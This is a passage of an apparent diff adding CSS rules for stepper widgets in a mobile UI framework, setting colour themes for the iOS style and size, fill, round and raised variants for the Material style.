.stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #4cd964; +} +.ios .stepper.color-blue .stepper-button, +.ios .stepper.color-blue .stepper-button-minus, +.ios .stepper.color-blue .stepper-button-plus { + border-color: #007aff; + color: #007aff; +} +.ios .stepper.color-blue .stepper-button.active-state, +.ios .stepper.color-blue .stepper-button-minus.active-state, +.ios .stepper.color-blue .stepper-button-plus.active-state { + background-color: rgba(0, 122, 255, 0.15); +} +.ios .stepper.color-blue .stepper-button-plus:after, +.ios .stepper.color-blue .stepper-button-minus:after, +.ios .stepper.color-blue .stepper-button-plus:before, +.ios .stepper.color-blue .stepper-button-minus:before { + background-color: #007aff; +} +.ios .stepper.color-blue .stepper-value, +.ios .stepper.color-blue .stepper-input-wrap { + border-top-color: #007aff; + border-bottom-color: #007aff; +} +.ios .stepper.color-blue .stepper-value { + color: #007aff; +} +.ios .stepper.color-blue .stepper-input-wrap input { + color: #007aff; +} +.ios .stepper.color-blue.stepper-fill .stepper-button, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-blue.stepper-fill .stepper-button-plus, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus { + background-color: #007aff; +} +.ios .stepper.color-blue.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-blue.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; +} +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .stepper.color-pink .stepper-button, +.ios .stepper.color-pink .stepper-button-minus, +.ios .stepper.color-pink .stepper-button-plus { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .stepper.color-pink .stepper-button.active-state, +.ios .stepper.color-pink .stepper-button-minus.active-state, +.ios .stepper.color-pink .stepper-button-plus.active-state { + background-color: rgba(255, 45, 85, 0.15); +} +.ios .stepper.color-pink .stepper-button-plus:after, +.ios .stepper.color-pink .stepper-button-minus:after, +.ios .stepper.color-pink .stepper-button-plus:before, +.ios .stepper.color-pink .stepper-button-minus:before { + background-color: #ff2d55; +} +.ios .stepper.color-pink .stepper-value, +.ios .stepper.color-pink .stepper-input-wrap { + border-top-color: #ff2d55; + border-bottom-color: #ff2d55; +} +.ios .stepper.color-pink .stepper-value { + color: #ff2d55; +} +.ios .stepper.color-pink .stepper-input-wrap input { + color: #ff2d55; +} +.ios .stepper.color-pink.stepper-fill .stepper-button, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-pink.stepper-fill .stepper-button-plus, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus { + background-color: #ff2d55; +} +.ios .stepper.color-pink.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-pink.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff2d55; + border-color: #ff2d55; + background-color: transparent; +} +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff2d55; +} +.ios .stepper.color-yellow .stepper-button, +.ios .stepper.color-yellow .stepper-button-minus, +.ios .stepper.color-yellow .stepper-button-plus { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-button.active-state, +.ios .stepper.color-yellow .stepper-button-minus.active-state, +.ios .stepper.color-yellow .stepper-button-plus.active-state { + background-color: rgba(255, 204, 0, 0.15); +} +.ios .stepper.color-yellow .stepper-button-plus:after, +.ios .stepper.color-yellow .stepper-button-minus:after, +.ios .stepper.color-yellow .stepper-button-plus:before, +.ios .stepper.color-yellow .stepper-button-minus:before { + background-color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-value, +.ios .stepper.color-yellow .stepper-input-wrap { + border-top-color: #ffcc00; + border-bottom-color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-value { + color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-input-wrap input { + color: #ffcc00; +} +.ios .stepper.color-yellow.stepper-fill .stepper-button, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus { + background-color: #ffcc00; +} +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffcc00; + border-color: #ffcc00; + background-color: transparent; +} +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffcc00; +} +.ios .stepper.color-orange .stepper-button, +.ios .stepper.color-orange .stepper-button-minus, +.ios .stepper.color-orange .stepper-button-plus { + border-color: #ff9500; + color: #ff9500; +} +.ios .stepper.color-orange .stepper-button.active-state, +.ios .stepper.color-orange .stepper-button-minus.active-state, +.ios .stepper.color-orange .stepper-button-plus.active-state { + background-color: rgba(255, 149, 0, 0.15); +} +.ios .stepper.color-orange .stepper-button-plus:after, +.ios .stepper.color-orange .stepper-button-minus:after, +.ios .stepper.color-orange .stepper-button-plus:before, +.ios .stepper.color-orange .stepper-button-minus:before { + background-color: #ff9500; +} +.ios .stepper.color-orange .stepper-value, +.ios .stepper.color-orange .stepper-input-wrap { + border-top-color: #ff9500; + border-bottom-color: #ff9500; +} +.ios .stepper.color-orange .stepper-value { + color: #ff9500; +} +.ios .stepper.color-orange .stepper-input-wrap input { + color: #ff9500; +} +.ios .stepper.color-orange.stepper-fill .stepper-button, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-orange.stepper-fill .stepper-button-plus, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus { + background-color: #ff9500; +} +.ios .stepper.color-orange.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-orange.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff9500; + border-color: #ff9500; + background-color: transparent; +} +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff9500; +} +.ios .stepper.color-gray .stepper-button, +.ios .stepper.color-gray .stepper-button-minus, +.ios .stepper.color-gray .stepper-button-plus { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .stepper.color-gray .stepper-button.active-state, +.ios .stepper.color-gray .stepper-button-minus.active-state, +.ios .stepper.color-gray .stepper-button-plus.active-state { + background-color: rgba(142, 142, 147, 0.15); +} +.ios .stepper.color-gray .stepper-button-plus:after, +.ios .stepper.color-gray .stepper-button-minus:after, +.ios .stepper.color-gray .stepper-button-plus:before, +.ios .stepper.color-gray .stepper-button-minus:before { + background-color: #8e8e93; +} +.ios .stepper.color-gray .stepper-value, +.ios .stepper.color-gray .stepper-input-wrap { + border-top-color: #8e8e93; + border-bottom-color: #8e8e93; +} +.ios .stepper.color-gray .stepper-value { + color: #8e8e93; +} +.ios .stepper.color-gray .stepper-input-wrap input { + color: #8e8e93; +} +.ios .stepper.color-gray.stepper-fill .stepper-button, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-gray.stepper-fill .stepper-button-plus, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus { + background-color: #8e8e93; +} +.ios .stepper.color-gray.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-gray.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #8e8e93; + border-color: #8e8e93; + background-color: transparent; +} +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #8e8e93; +} +.ios .stepper.color-white .stepper-button, +.ios .stepper.color-white .stepper-button-minus, +.ios .stepper.color-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.ios .stepper.color-white .stepper-button.active-state, +.ios .stepper.color-white .stepper-button-minus.active-state, +.ios .stepper.color-white .stepper-button-plus.active-state { + background-color: rgba(255, 255, 255, 0.15); +} +.ios .stepper.color-white .stepper-button-plus:after, +.ios .stepper.color-white .stepper-button-minus:after, +.ios .stepper.color-white .stepper-button-plus:before, +.ios .stepper.color-white .stepper-button-minus:before { + background-color: #ffffff; +} +.ios .stepper.color-white .stepper-value, +.ios .stepper.color-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.ios .stepper.color-white .stepper-value { + color: #ffffff; +} +.ios .stepper.color-white .stepper-input-wrap input { + color: #ffffff; +} +.ios .stepper.color-white.stepper-fill .stepper-button, +.ios .stepper.color-white.stepper-fill-ios .stepper-button, +.ios .stepper.color-white.stepper-fill .stepper-button-minus, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-white.stepper-fill .stepper-button-plus, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus { + background-color: #ffffff; +} +.ios .stepper.color-white.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-white.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-white.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-white.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffffff; + border-color: #ffffff; + background-color: transparent; +} +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffffff; +} +.ios .stepper.color-black .stepper-button, +.ios .stepper.color-black .stepper-button-minus, +.ios .stepper.color-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.ios .stepper.color-black .stepper-button.active-state, +.ios .stepper.color-black .stepper-button-minus.active-state, +.ios .stepper.color-black .stepper-button-plus.active-state { + background-color: rgba(0, 0, 0, 0.15); +} +.ios .stepper.color-black .stepper-button-plus:after, +.ios .stepper.color-black .stepper-button-minus:after, +.ios .stepper.color-black .stepper-button-plus:before, +.ios .stepper.color-black .stepper-button-minus:before { + background-color: #000000; +} +.ios .stepper.color-black .stepper-value, +.ios .stepper.color-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.ios .stepper.color-black .stepper-value { + color: #000000; +} +.ios .stepper.color-black .stepper-input-wrap input { + color: #000000; +} +.ios .stepper.color-black.stepper-fill .stepper-button, +.ios .stepper.color-black.stepper-fill-ios .stepper-button, +.ios .stepper.color-black.stepper-fill .stepper-button-minus, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-black.stepper-fill .stepper-button-plus, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus { + background-color: #000000; +} +.ios .stepper.color-black.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-black.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-black.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-black.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #000000; + border-color: #000000; + background-color: transparent; +} +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #000000; +} +.md .stepper { + height: 36px; +} +.md .stepper-button, +.md .stepper-button-minus, +.md .stepper-button-plus { + border: 2px solid #2196f3; + color: #2196f3; + line-height: 34px; + height: 36px; + width: 40px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + overflow: hidden; +} +.md .stepper-button + .stepper-button, +.md .stepper-button-minus + .stepper-button, +.md .stepper-button-plus + .stepper-button, +.md .stepper-button + .stepper-button-minus, +.md .stepper-button-minus + .stepper-button-minus, +.md .stepper-button-plus + .stepper-button-minus, +.md .stepper-button + .stepper-button-plus, +.md .stepper-button-minus + .stepper-button-plus, +.md .stepper-button-plus + .stepper-button-plus { + border-left: none; +} +.md .stepper-button.active-state, +.md .stepper-button-minus.active-state, +.md .stepper-button-plus.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .stepper-button:first-child, +.md .stepper-button-minus:first-child, +.md .stepper-button-plus:first-child { + border-radius: 4px 0 0 4px; +} +.md .stepper-button:last-child, +.md .stepper-button-minus:last-child, +.md .stepper-button-plus:last-child { + border-radius: 0 4px 4px 0; +} +.md .stepper-button-plus:after, +.md .stepper-button-minus:after, +.md .stepper-button-plus:before, +.md .stepper-button-minus:before { + background: #2196f3; +} +.md .stepper-value, +.md .stepper-input-wrap { + border-top: 2px solid #2196f3; + border-bottom: 2px solid #2196f3; +} +.md .stepper .stepper-value, +.md .stepper .stepper-input-wrap input { + color: #2196f3; + font-size: 14px; + font-weight: 500; + text-align: center; +} +.md .stepper .stepper-input-wrap input { + height: 100%; +} +.md .stepper-fill .stepper-button, +.md .stepper-fill-md .stepper-button, +.md .stepper-fill .stepper-button-minus, +.md .stepper-fill-md .stepper-button-minus, +.md .stepper-fill .stepper-button-plus, +.md .stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; + border: none; + line-height: 36px; +} +.md .stepper-fill .stepper-button.active-state, +.md .stepper-fill-md .stepper-button.active-state, +.md .stepper-fill .stepper-button-minus.active-state, +.md .stepper-fill-md .stepper-button-minus.active-state, +.md .stepper-fill .stepper-button-plus.active-state, +.md .stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .stepper-fill .stepper-button:after, +.md .stepper-fill-md .stepper-button:after, +.md .stepper-fill .stepper-button-minus:after, +.md .stepper-fill-md .stepper-button-minus:after, +.md .stepper-fill .stepper-button-plus:after, +.md .stepper-fill-md .stepper-button-plus:after, +.md .stepper-fill .stepper-button:before, +.md .stepper-fill-md .stepper-button:before, +.md .stepper-fill .stepper-button-minus:before, +.md .stepper-fill-md .stepper-button-minus:before, +.md .stepper-fill .stepper-button-plus:before, +.md .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper-fill .stepper-button + .stepper-button, +.md .stepper-fill-md .stepper-button + .stepper-button, +.md .stepper-fill .stepper-button-minus + .stepper-button-plus, +.md .stepper-fill-md .stepper-button-minus + .stepper-button-plus { + border-left: 1px solid rgba(0, 0, 0, 0.1); +} +.md .stepper-fill.stepper-big .stepper-button, +.md .stepper-fill-md.stepper-big .stepper-button, +.md .stepper-fill.stepper-big-md .stepper-button, +.md .stepper-fill-md.stepper-big-md .stepper-button, +.md .stepper-fill.stepper-big .stepper-button-minus, +.md .stepper-fill-md.stepper-big .stepper-button-minus, +.md .stepper-fill.stepper-big-md .stepper-button-minus, +.md .stepper-fill-md.stepper-big-md .stepper-button-minus, +.md .stepper-fill.stepper-big .stepper-button-plus, +.md .stepper-fill-md.stepper-big .stepper-button-plus, +.md .stepper-fill.stepper-big-md .stepper-button-plus, +.md .stepper-fill-md.stepper-big-md .stepper-button-plus { + line-height: 48px; +} +.md .stepper-fill.stepper-small .stepper-button, +.md .stepper-fill-md.stepper-small .stepper-button, +.md .stepper-fill.stepper-small-md .stepper-button, +.md .stepper-fill-md.stepper-small-md .stepper-button, +.md .stepper-fill.stepper-small .stepper-button-minus, +.md .stepper-fill-md.stepper-small .stepper-button-minus, +.md .stepper-fill.stepper-small-md .stepper-button-minus, +.md .stepper-fill-md.stepper-small-md .stepper-button-minus, +.md .stepper-fill.stepper-small .stepper-button-plus, +.md .stepper-fill-md.stepper-small .stepper-button-plus, +.md .stepper-fill.stepper-small-md .stepper-button-plus, +.md .stepper-fill-md.stepper-small-md .stepper-button-plus { + line-height: 28px; +} +.md .stepper-small, +.md .stepper-small-md { + height: 28px; +} +.md .stepper-small .stepper-button, +.md .stepper-small-md .stepper-button, +.md .stepper-small .stepper-button-minus, +.md .stepper-small-md .stepper-button-minus, +.md .stepper-small .stepper-button-plus, +.md .stepper-small-md .stepper-button-plus { + height: 28px; + line-height: 24px; +} +.md .stepper-small .stepper-button, +.md .stepper-small-md .stepper-button, +.md .stepper-small .stepper-button-minus, +.md .stepper-small-md .stepper-button-minus, +.md .stepper-small .stepper-button-plus, +.md .stepper-small-md .stepper-button-plus, +.md .stepper-small .stepper-input-wrap, +.md .stepper-small-md .stepper-input-wrap, +.md .stepper-small .stepper-value, +.md .stepper-small-md .stepper-value { + border-width: 2px; +} +.md .stepper-big, +.md .stepper-big-md { + height: 48px; +} +.md .stepper-big .stepper-button, +.md .stepper-big-md .stepper-button, +.md .stepper-big .stepper-button-minus, +.md .stepper-big-md .stepper-button-minus, +.md .stepper-big .stepper-button-plus, +.md .stepper-big-md .stepper-button-plus { + height: 48px; + line-height: 46px; +} +.md .stepper-big .stepper-button:first-child, +.md .stepper-big-md .stepper-button:first-child, +.md .stepper-big .stepper-button-minus:first-child, +.md .stepper-big-md .stepper-button-minus:first-child, +.md .stepper-big .stepper-button-plus:first-child, +.md .stepper-big-md .stepper-button-plus:first-child { + border-radius: 4px 0 0 4px; +} +.md .stepper-big .stepper-button:last-child, +.md .stepper-big-md .stepper-button:last-child, +.md .stepper-big .stepper-button-minus:last-child, +.md .stepper-big-md .stepper-button-minus:last-child, +.md .stepper-big .stepper-button-plus:last-child, +.md .stepper-big-md .stepper-button-plus:last-child { + border-radius: 0 4px 4px 0; +} +.md .stepper-round .stepper-button:first-child, +.md .stepper-round-md .stepper-button:first-child, +.md .stepper-round .stepper-button-minus:first-child, +.md .stepper-round-md .stepper-button-minus:first-child, +.md .stepper-round .stepper-button-plus:first-child, +.md .stepper-round-md .stepper-button-plus:first-child { + border-radius: 36px 0 0 36px; +} +.md .stepper-round .stepper-button:last-child, +.md .stepper-round-md .stepper-button:last-child, +.md .stepper-round .stepper-button-minus:last-child, +.md .stepper-round-md .stepper-button-minus:last-child, +.md .stepper-round .stepper-button-plus:last-child, +.md .stepper-round-md .stepper-button-plus:last-child { + border-radius: 0 36px 36px 0; +} +.md .stepper-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + border-radius: 4px; +} +.md .stepper-raised.stepper-big, +.md .stepper-raised.stepper-big-md { + border-radius: 4px; +} +.md .stepper-raised.stepper-round, +.md .stepper-raised.stepper-round-md { + border-radius: 36px; +} +.md .stepper-raised .stepper-value, +.md .stepper-raised .stepper-input-wrap { + border: none; +} +.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-input-wrap, +.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-value { + border-left: 1px solid rgba(0, 0, 0, 0.1); + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .stepper-raised .stepper-button, +.md .stepper-raised .stepper-button-minus, +.md .stepper-raised .stepper-button-plus { + border: none; +} +.md .stepper-raised .stepper-button + .stepper-button, +.md .stepper-raised .stepper-button-minus + .stepper-button-plus { + border-left: 1px solid rgba(0, 0, 0, 0.1); +} +.md .color-theme-red .stepper-button, +.md .color-theme-red .stepper-button-minus, +.md .color-theme-red .stepper-button-plus { + border-color: #f44336; + color: #f44336; +} +.md .color-theme-red .stepper-button-plus:after, 